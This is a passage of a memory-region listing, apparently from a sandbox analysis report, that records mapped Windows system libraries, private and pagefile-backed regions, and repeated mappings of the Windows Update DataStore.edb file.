	            name = "windows.storage.dll"
	        filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll")

Region:
	              id = 1068
	        start_va = 0x7ffc00f70000
	          end_va = 0x7ffc00fb3fff
	     entry_point = 0x7ffc00f70000
	     region_type = mapped_file
	            name = "cfgmgr32.dll"
	        filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll")

Region:
	              id = 1069
	        start_va = 0x7ffc00fc0000
	          end_va = 0x7ffc01072fff
	     entry_point = 0x7ffc00fc0000
	     region_type = mapped_file
	            name = "shcore.dll"
	        filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll")

Region:
	              id = 1070
	        start_va = 0x7ffc01080000
	          end_va = 0x7ffc010d3fff
	     entry_point = 0x7ffc01080000
	     region_type = mapped_file
	            name = "wintrust.dll"
	        filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll")

Region:
	              id = 1071
	        start_va = 0x7ffc01190000
	          end_va = 0x7ffc01350fff
	     entry_point = 0x7ffc01190000
	     region_type = mapped_file
	            name = "crypt32.dll"
	        filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll")

Region:
	              id = 1072
	        start_va = 0x7ffc01360000
	          end_va = 0x7ffc0153cfff
	     entry_point = 0x7ffc01360000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 1073
	        start_va = 0x7ffc01540000
	          end_va = 0x7ffc015e4fff
	     entry_point = 0x7ffc01540000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")

Region:
	              id = 1074
	        start_va = 0x7ffc01640000
	          end_va = 0x7ffc016e5fff
	     entry_point = 0x7ffc01640000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 1075
	        start_va = 0x7ffc018a0000
	          end_va = 0x7ffc01b1bfff
	     entry_point = 0x7ffc018a0000
	     region_type = mapped_file
	            name = "combase.dll"
	        filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll")

Region:
	              id = 1076
	        start_va = 0x7ffc01b20000
	          end_va = 0x7ffc01ce4fff
	     entry_point = 0x7ffc01b20000
	     region_type = mapped_file
	            name = "setupapi.dll"
	        filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll")

Region:
	              id = 1077
	        start_va = 0x7ffc01dd0000
	          end_va = 0x7ffc01ef5fff
	     entry_point = 0x7ffc01dd0000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 1078
	        start_va = 0x7ffc01f00000
	          end_va = 0x7ffc0204dfff
	     entry_point = 0x7ffc01f00000
	     region_type = mapped_file
	            name = "user32.dll"
	        filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll")

Region:
	              id = 1079
	        start_va = 0x7ffc02050000
	          end_va = 0x7ffc02057fff
	     entry_point = 0x7ffc02050000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll")

Region:
	              id = 1080
	        start_va = 0x7ffc02060000
	          end_va = 0x7ffc020fcfff
	     entry_point = 0x7ffc02060000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 1081
	        start_va = 0x7ffc02100000
	          end_va = 0x7ffc0215afff
	     entry_point = 0x7ffc02100000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 1082
	        start_va = 0x7ffc022c0000
	          end_va = 0x7ffc037e4fff
	     entry_point = 0x7ffc022c0000
	     region_type = mapped_file
	            name = "shell32.dll"
	        filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll")

Region:
	              id = 1083
	        start_va = 0x7ffc037f0000
	          end_va = 0x7ffc03974fff
	     entry_point = 0x7ffc037f0000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 1084
	        start_va = 0x7ffc03980000
	          end_va = 0x7ffc039e8fff
	     entry_point = 0x7ffc03980000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")

Region:
	              id = 1085
	        start_va = 0x7ffc03a50000
	          end_va = 0x7ffc03aa0fff
	     entry_point = 0x7ffc03a50000
	     region_type = mapped_file
	            name = "shlwapi.dll"
	        filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")

Region:
	              id = 1086
	        start_va = 0x7ffc03ae0000
	          end_va = 0x7ffc03b3afff
	     entry_point = 0x7ffc03ae0000
	     region_type = mapped_file
	            name = "wldap32.dll"
	        filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll")

Region:
	              id = 1087
	        start_va = 0x7ffc03bb0000
	          end_va = 0x7ffc03cf0fff
	     entry_point = 0x7ffc03bb0000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")

Region:
	              id = 1088
	        start_va = 0x7ffc03d00000
	          end_va = 0x7ffc03dbdfff
	     entry_point = 0x7ffc03d00000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 1089
	        start_va = 0x7ffc03dc0000
	          end_va = 0x7ffc03e6cfff
	     entry_point = 0x7ffc03dc0000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")

Region:
	              id = 1090
	        start_va = 0x7ffc03e70000
	          end_va = 0x7ffc04031fff
	     entry_point = 0x7ffc03e70000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 2002
	        start_va = 0x51ea500000
	          end_va = 0x51ea5fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051ea500000"
	        filename = ""

Region:
	              id = 2003
	        start_va = 0x51ea600000
	          end_va = 0x51ea6fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051ea600000"
	        filename = ""

Region:
	              id = 2004
	        start_va = 0x51eae00000
	          end_va = 0x51eaefffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051eae00000"
	        filename = ""

Region:
	              id = 2005
	        start_va = 0x7ff7b3b08000
	          end_va = 0x7ff7b3b09fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3b08000"
	        filename = ""

Region:
	              id = 2006
	        start_va = 0x7ff7b3b0c000
	          end_va = 0x7ff7b3b0dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3b0c000"
	        filename = ""

Region:
	              id = 2007
	        start_va = 0x7ff7b3b22000
	          end_va = 0x7ff7b3b23fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3b22000"
	        filename = ""

Region:
	              id = 2008
	        start_va = 0x7ff7b3c5c000
	          end_va = 0x7ff7b3c5dfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3c5c000"
	        filename = ""

Region:
	              id = 2009
	        start_va = 0x7ffbea430000
	          end_va = 0x7ffbea659fff
	     entry_point = 0x7ffbea430000
	     region_type = mapped_file
	            name = "wuaueng.dll"
	        filename = "\\Windows\\System32\\wuaueng.dll" (normalized: "c:\\windows\\system32\\wuaueng.dll")

Region:
	              id = 2010
	        start_va = 0x7ffbf7160000
	          end_va = 0x7ffbf7441fff
	     entry_point = 0x7ffbf7160000
	     region_type = mapped_file
	            name = "esent.dll"
	        filename = "\\Windows\\System32\\esent.dll" (normalized: "c:\\windows\\system32\\esent.dll")

Region:
	              id = 2495
	        start_va = 0x51eaf00000
	          end_va = 0x51eaffffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051eaf00000"
	        filename = ""

Region:
	              id = 2496
	        start_va = 0x7ffbf69d0000
	          end_va = 0x7ffbf69dffff
	     entry_point = 0x7ffbf69d0000
	     region_type = mapped_file
	            name = "wups.dll"
	        filename = "\\Windows\\System32\\wups.dll" (normalized: "c:\\windows\\system32\\wups.dll")

Region:
	              id = 2497
	        start_va = 0x51e7f90000
	          end_va = 0x51e7f91fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000051e7f90000"
	        filename = ""

Region:
	              id = 2498
	        start_va = 0x51e7fa0000
	          end_va = 0x51e7fa1fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000051e7fa0000"
	        filename = ""

Region:
	              id = 2499
	        start_va = 0x7ffbed430000
	          end_va = 0x7ffbed487fff
	     entry_point = 0x7ffbed430000
	     region_type = mapped_file
	            name = "newdev.dll"
	        filename = "\\Windows\\System32\\newdev.dll" (normalized: "c:\\windows\\system32\\newdev.dll")

Region:
	              id = 2500
	        start_va = 0x7ffbed490000
	          end_va = 0x7ffbed4f0fff
	     entry_point = 0x7ffbed490000
	     region_type = mapped_file
	            name = "wuuhext.dll"
	        filename = "\\Windows\\System32\\wuuhext.dll" (normalized: "c:\\windows\\system32\\wuuhext.dll")

Region:
	              id = 2501
	        start_va = 0x7ffbefdf0000
	          end_va = 0x7ffbefe73fff
	     entry_point = 0x7ffbefdf0000
	     region_type = mapped_file
	            name = "winspool.drv"
	        filename = "\\Windows\\System32\\winspool.drv" (normalized: "c:\\windows\\system32\\winspool.drv")

Region:
	              id = 2502
	        start_va = 0x7ffbf69c0000
	          end_va = 0x7ffbf69d2fff
	     entry_point = 0x7ffbf69c0000
	     region_type = mapped_file
	            name = "devrtl.dll"
	        filename = "\\Windows\\System32\\devrtl.dll" (normalized: "c:\\windows\\system32\\devrtl.dll")

Region:
	              id = 2503
	        start_va = 0x7ffbfb550000
	          end_va = 0x7ffbfb88cfff
	     entry_point = 0x7ffbfb550000
	     region_type = mapped_file
	            name = "msi.dll"
	        filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll")

Region:
	              id = 2504
	        start_va = 0x7ffbff170000
	          end_va = 0x7ffbff205fff
	     entry_point = 0x7ffbff170000
	     region_type = mapped_file
	            name = "uxtheme.dll"
	        filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")

Region:
	              id = 2700
	        start_va = 0x51e7fc0000
	          end_va = 0x51e7fc6fff
	     entry_point = 0x51e7fc0000
	     region_type = mapped_file
	            name = "newdev.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\newdev.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\newdev.dll.mui")

Region:
	              id = 2701
	        start_va = 0x51e8000000
	          end_va = 0x51e8000fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e8000000"
	        filename = ""

Region:
	              id = 2702
	        start_va = 0x51e80d0000
	          end_va = 0x51e80d0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000051e80d0000"
	        filename = ""

Region:
	              id = 2703
	        start_va = 0x51e80e0000
	          end_va = 0x51e80e6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e80e0000"
	        filename = ""

Region:
	              id = 2704
	        start_va = 0x51e80f0000
	          end_va = 0x51e80f7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e80f0000"
	        filename = ""

Region:
	              id = 2705
	        start_va = 0x51e8100000
	          end_va = 0x51e810ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e8100000"
	        filename = ""

Region:
	              id = 2706
	        start_va = 0x51e8210000
	          end_va = 0x51e8250fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e8210000"
	        filename = ""

Region:
	              id = 2707
	        start_va = 0x51e8260000
	          end_va = 0x51e826ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e8260000"
	        filename = ""

Region:
	              id = 2708
	        start_va = 0x51e8270000
	          end_va = 0x51e8270fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e8270000"
	        filename = ""

Region:
	              id = 2709
	        start_va = 0x51e8280000
	          end_va = 0x51e8280fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e8280000"
	        filename = ""

Region:
	              id = 2710
	        start_va = 0x51e8610000
	          end_va = 0x51e8613fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e8610000"
	        filename = ""

Region:
	              id = 2711
	        start_va = 0x51e8620000
	          end_va = 0x51e8621fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e8620000"
	        filename = ""

Region:
	              id = 2712
	        start_va = 0x51e8640000
	          end_va = 0x51e86bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e8640000"
	        filename = ""

Region:
	              id = 2713
	        start_va = 0x51e86c0000
	          end_va = 0x51e86c0fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e86c0000"
	        filename = ""

Region:
	              id = 2714
	        start_va = 0x51e86d0000
	          end_va = 0x51e86dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e86d0000"
	        filename = ""

Region:
	              id = 2715
	        start_va = 0x51e86e0000
	          end_va = 0x51e86e7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e86e0000"
	        filename = ""

Region:
	              id = 2716
	        start_va = 0x51e86f0000
	          end_va = 0x51e86fffff
	     entry_point = 0x51e86f0000
	     region_type = mapped_file
	            name = "datastore.edb"
	        filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb")

Region:
	              id = 2717
	        start_va = 0x51e8a00000
	          end_va = 0x51e8a0ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000051e8a00000"
	        filename = ""

Region:
	              id = 2718
	        start_va = 0x51e8a10000
	          end_va = 0x51e8a1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000051e8a10000"
	        filename = ""

Region:
	              id = 2719
	        start_va = 0x51e8a20000
	          end_va = 0x51e8a2ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000051e8a20000"
	        filename = ""

Region:
	              id = 2720
	        start_va = 0x51e8a30000
	          end_va = 0x51e8a3ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000051e8a30000"
	        filename = ""

Region:
	              id = 2721
	        start_va = 0x51e8a40000
	          end_va = 0x51e8a4ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000051e8a40000"
	        filename = ""

Region:
	              id = 2722
	        start_va = 0x51e8a50000
	          end_va = 0x51e8a5ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000051e8a50000"
	        filename = ""

Region:
	              id = 2723
	        start_va = 0x51e8a60000
	          end_va = 0x51e8a6ffff
	     entry_point = 0x51e8a60000
	     region_type = mapped_file
	            name = "datastore.edb"
	        filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb")

Region:
	              id = 2724
	        start_va = 0x51e8a70000
	          end_va = 0x51e8a7ffff
	     entry_point = 0x51e8a70000
	     region_type = mapped_file
	            name = "datastore.edb"
	        filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb")

Region:
	              id = 2725
	        start_va = 0x51e8b80000
	          end_va = 0x51e8bfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e8b80000"
	        filename = ""

Region:
	              id = 2726
	        start_va = 0x51e8d80000
	          end_va = 0x51e8dccfff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000051e8d80000"
	        filename = ""

Region:
	              id = 2727
	        start_va = 0x51e8dd0000
	          end_va = 0x51e8dfffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e8dd0000"
	        filename = ""

Region:
	              id = 2728
	        start_va = 0x51e8e80000
	          end_va = 0x51e8eccfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051e8e80000"
	        filename = ""

Region:
	              id = 2729
	        start_va = 0x51e8ed0000
	          end_va = 0x51e8edffff
	     entry_point = 0x51e8ed0000
	     region_type = mapped_file
	            name = "datastore.edb"
	        filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb")

Region:
	              id = 2730
	        start_va = 0x51e8ee0000
	          end_va = 0x51e8eeffff
	     entry_point = 0x51e8ee0000
	     region_type = mapped_file
	            name = "datastore.edb"
	        filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb")

Region:
	              id = 2731
	        start_va = 0x51e8ef0000
	          end_va = 0x51e8efffff
	     entry_point = 0x51e8ef0000
	     region_type = mapped_file
	            name = "datastore.edb"
	        filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb")

Region:
	              id = 2732
	        start_va = 0x51ea160000
	          end_va = 0x51ea16ffff
	     entry_point = 0x51ea160000
	     region_type = mapped_file
	            name = "datastore.edb"
	        filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb")

Region:
	              id = 2733
	        start_va = 0x51ea280000
	          end_va = 0x51ea28ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000051ea280000"
	        filename = ""

Region:
	              id = 2734
	        start_va = 0x51ea290000
	          end_va = 0x51ea29ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000051ea290000"
	        filename = ""

Region:
	              id = 2735
	        start_va = 0x51ea2a0000
	          end_va = 0x51ea2affff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000051ea2a0000"
	        filename = ""

Region:
	              id = 2736
	        start_va = 0x51ea2b0000
	          end_va = 0x51ea2bffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000051ea2b0000"
	        filename = ""

Region:
	              id = 2737
	        start_va = 0x51ea2c0000
	          end_va = 0x51ea2cffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000051ea2c0000"
	        filename = ""

Region:
	              id = 2738
	        start_va = 0x51ea2d0000
	          end_va = 0x51ea2dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x00000051ea2d0000"
	        filename = ""

Region:
	              id = 2739
	        start_va = 0x51ea2e0000
	          end_va = 0x51ea2effff
	     entry_point = 0x51ea2e0000
	     region_type = mapped_file
	            name = "datastore.edb"
	        filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb")

Region:
	              id = 2740
	        start_va = 0x51ea2f0000
	          end_va = 0x51ea2fffff
	     entry_point = 0x51ea2f0000
	     region_type = mapped_file
	            name = "datastore.edb"
	        filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb")

Region:
	              id = 2741
	        start_va = 0x51eb100000
	          end_va = 0x51eb10ffff
	     entry_point = 0x51eb100000
	     region_type = mapped_file
	            name = "datastore.edb"
	        filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb")

Region:
	              id = 2742
	        start_va = 0x51eb110000
	          end_va = 0x51eb11ffff
	     entry_point = 0x51eb110000
	     region_type = mapped_file
	            name = "datastore.edb"
	        filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb")

Region:
	              id = 2743
	        start_va = 0x51eb120000
	          end_va = 0x51eb12ffff
	     entry_point = 0x51eb120000
	     region_type = mapped_file
	            name = "datastore.edb"
	        filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb")

Region:
	              id = 2744
	        start_va = 0x51eb140000
	          end_va = 0x51eb14ffff
	     entry_point = 0x51eb140000
	     region_type = mapped_file
	            name = "datastore.edb"
	        filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb")

Region:
	              id = 2745
	        start_va = 0x51eb150000
	          end_va = 0x51eb15ffff
	     entry_point = 0x51eb150000
	     region_type = mapped_file
	            name = "datastore.edb"
	        filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb")

Region:
	              id = 2746
	        start_va = 0x51eb160000
	          end_va = 0x51eb16ffff
	     entry_point = 0x51eb160000
	     region_type = mapped_file
	            name = "datastore.edb"
	        filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb")

Region:
	              id = 2747
	        start_va = 0x51eb170000
	          end_va = 0x51eb17ffff
	     entry_point = 0x51eb170000
	     region_type = mapped_file
	            name = "datastore.edb"
	        filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb")

Region:
	              id = 2748
	        start_va = 0x51eb180000
	          end_va = 0x51eb18ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051eb180000"
	        filename = ""

Region:
	              id = 2749
	        start_va = 0x51eb190000
	          end_va = 0x51eb19ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051eb190000"
	        filename = ""

Region:
	              id = 2750
	        start_va = 0x51eb1a0000
	          end_va = 0x51eb1affff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051eb1a0000"
	        filename = ""

Region:
	              id = 2751
	        start_va = 0x51eb1b0000
	          end_va = 0x51eb1bffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051eb1b0000"
	        filename = ""

Region:
	              id = 2752
	        start_va = 0x51eb1d0000
	          end_va = 0x51eb1dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051eb1d0000"
	        filename = ""

Region:
	              id = 2753
	        start_va = 0x51eb1e0000
	          end_va = 0x51eb1e7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051eb1e0000"
	        filename = ""

Region:
	              id = 2754
	        start_va = 0x51eb1f0000
	          end_va = 0x51eb1fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051eb1f0000"
	        filename = ""

Region:
	              id = 2755
	        start_va = 0x51eb300000
	          end_va = 0x51eb3fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051eb300000"
	        filename = ""

Region:
	              id = 2756
	        start_va = 0x51eb400000
	          end_va = 0x51eb4fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051eb400000"
	        filename = ""

Region:
	              id = 2757
	        start_va = 0x51eb500000
	          end_va = 0x51eb5fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051eb500000"
	        filename = ""

Region:
	              id = 2758
	        start_va = 0x51eb600000
	          end_va = 0x51eb6fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051eb600000"
	        filename = ""

Region:
	              id = 2759
	        start_va = 0x51eb700000
	          end_va = 0x51eb7fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051eb700000"
	        filename = ""

Region:
	              id = 2760
	        start_va = 0x51eb800000
	          end_va = 0x51eb87ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051eb800000"
	        filename = ""

Region:
	              id = 2761
	        start_va = 0x51ed100000
	          end_va = 0x51ee0fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051ed100000"
	        filename = ""

Region:
	              id = 2762
	        start_va = 0x51ee100000
	          end_va = 0x51f20fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051ee100000"
	        filename = ""

Region:
	              id = 2763
	        start_va = 0x51f2100000
	          end_va = 0x51f60fffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000051f2100000"
	        filename = ""

Region:
	              id = 2764
	        start_va = 0x7ff7b3ac6000
	          end_va = 0x7ff7b3ac7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3ac6000"
	        filename = ""

Region:
	              id = 2765
	        start_va = 0x7ff7b3ac8000
	          end_va = 0x7ff7b3ac9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3ac8000"
	        filename = ""

Region:
	              id = 2766
	        start_va = 0x7ff7b3aee000
	          end_va = 0x7ff7b3aeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00007ff7b3aee000"
	        filename = ""

Region:
	              id = 2767
	        start_va = 0x7ffbf2120000
	          end_va = 0x7ffbf2396fff
	     entry_point = 0x7ffbf2120000
	     region_type = mapped_file
	            name = "msxml6.dll"
	        filename = "\\Windows\\System32\\msxml6.dll" (normalized: "c:\\windows\\system32\\msxml6.dll")

Region:
	              id = 2768
	        start_va = 0x51eb880000
	          end_va = 0x51eb880fff
	     entry_point = 0x51eb880000
	     region_type = mapped_file
	            name = "msxml6r.dll"
	        filename = "\\Windows\\System32\\msxml6r.dll" (normalized: "c:\\windows\\system32\\msxml6r.dll")

Region:
	              id = 2769
	        start_va = 0x51eb890000
	          end_va = 0x51eb893fff
	     entry_point = 0x51eb890000
	     region_type = mapped_file
	            name = "wuaueng.dll.mui"
	        filename = "\\Windows\\System32\\en-US\\wuaueng.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\wuaueng.dll.mui")

Region:
	              id = 2770
	        start_va = 0x51eb8a0000
	          end_va = 0x51eb8affff
	     entry_point = 0x51eb8a0000
	     region_type = mapped_file
	            name = "datastore.edb"
	        filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb")

Region:
	              id = 2771
	        start_va = 0x51eb8b0000
	          end_va = 0x51eb8bffff
	     entry_point = 0x51eb8b0000
	     region_type = mapped_file
	            name = "datastore.edb"
	        filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb")

Region:
	              id = 2772
	        start_va = 0x51eb8c0000
	          end_va = 0x51eb8cffff
	     entry_point = 0x51eb8c0000
	     region_type = mapped_file
	            name = "datastore.edb"
	        filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb")

Region:
	              id = 2773
	        start_va = 0x51eb8d0000
	          end_va = 0x51eb8dffff
	     entry_point = 0x51eb8d0000
	     region_type = mapped_file
	            name = "datastore.edb"
	        filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb")

Region:
	              id = 2774
	        start_va = 0x51eb8e0000
	          end_va = 0x51eb8effff
	     entry_point = 0x51eb8e0000
	     region_type = mapped_file
	            name = "datastore.edb"
	        filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb")

Region:
	              id = 2775
	        start_va = 0x51eb8f0000
	          end_va = 0x51eb8fffff
	     entry_point = 0x51eb8f0000
	     region_type = mapped_file
	            name = "datastore.edb"
	        filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb")

Region:
	              id = 2776
	        start_va = 0x51eb900000
	          end_va = 0x51eb90ffff
	     entry_point = 0x51eb900000
	     region_type = mapped_file
	            name = "datastore.edb"
	        filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb")

Region:
	              id = 2777
	        start_va = 0x51eb910000
	          end_va = 0x51eb91ffff
	     entry_point = 0x51eb910000
	     region_type = mapped_file
	            name = "datastore.edb"
	        filename = "\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb")

Region:
	              id = 2778
	        start_va = 0x51eb920000
	          end_va = 0x51eb92ffff
	     entry_point = 0x51eb920000
	     region_type = mapped_file
	            name = "datastore.edb"
